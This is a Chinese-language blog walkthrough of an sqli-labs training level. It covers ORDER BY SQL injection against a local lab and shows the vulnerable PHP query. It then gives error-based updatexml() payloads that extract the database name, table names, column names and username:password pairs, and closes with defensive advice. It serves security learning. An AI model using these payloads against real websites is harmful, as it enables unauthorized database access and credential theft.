1. 思路🚀
本关的SQL语句为:
$id=$_GET['sort'];
$sql = "SELECT * FROM users ORDER BY '$id'";
- 注入类型:字符串型(单引号包裹)、GET请求
- 提示:参数需以
'闭合 - 关键参数:
sort
本关卡的重点依旧是Order By注入和基于Rand()的注入:
order by注入:发生在 SQL 查询的排序参数直接拼接用户输入时,攻击者通过控制排序字段实现数据泄露或盲注。- 基于
rand()的注入:利用rand()函数的随机性,通过条件控制排序结果差异,实现盲注。
关卡不能使用联合查询注入,因为union select不能在order by之后,这样的SQL语句不成立。可以通过报错盲注、搭配rand()函数的布尔盲注和时间盲注解决。关于布尔盲注和时间盲注会在关卡48做详细解析,关于order by和rand()函数的介绍见关卡46,本关卡使用报错盲注。
代码片段:报错盲注
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}

2. 报错盲注步骤🎯
我的地址栏是:http://localhost:8081/Less-48/,只需要将下面的sql语句粘贴即可。
2.1. 获取基本信息⚡
?sort=1' and updatexml(1,concat(1,database()),3) --+

2.2. 获取表名⚡
?sort=1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),3) --+

2.3. 获取字段⚡
?sort=1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security'and table_name='users')),3) --+

2.4. 获取数据⚡
?sort=1' and updatexml(1,concat(1,(select substring(group_concat(username,':',password),1,30) from users)),3) --+

3. 总结🏁
-
Order By注入:通过控制排序参数执行恶意SQL,泄露数据或绕过权限,需严格校验排序字段。
-
基于Rand()的注入:利用
rand()的确定性差异实现盲注,固定种子可触发条件判断,需禁用动态排序或白名单控制。 -
报错盲注:通过报错函数(如
updatexml())强制返回数据库信息,需过滤特殊字符或禁用报错回显。
关于order by和rand()函数的介绍见:“sqli-labs:Less-46关卡详细解析”
https://blog.csdn.net/qq_62000508/article/details/149966834?spm=1011.2415.3001.5331
结合布尔盲注的关卡解析见:“sqli-labs:Less-48关卡详细解析”
https://blog.csdn.net/qq_62000508/article/details/149971453?spm=1011.2415.3001.5331
声明:本文仅用于安全学习,严禁非法测试! ❗❗❗

1502

被折叠的 条评论
为什么被折叠?



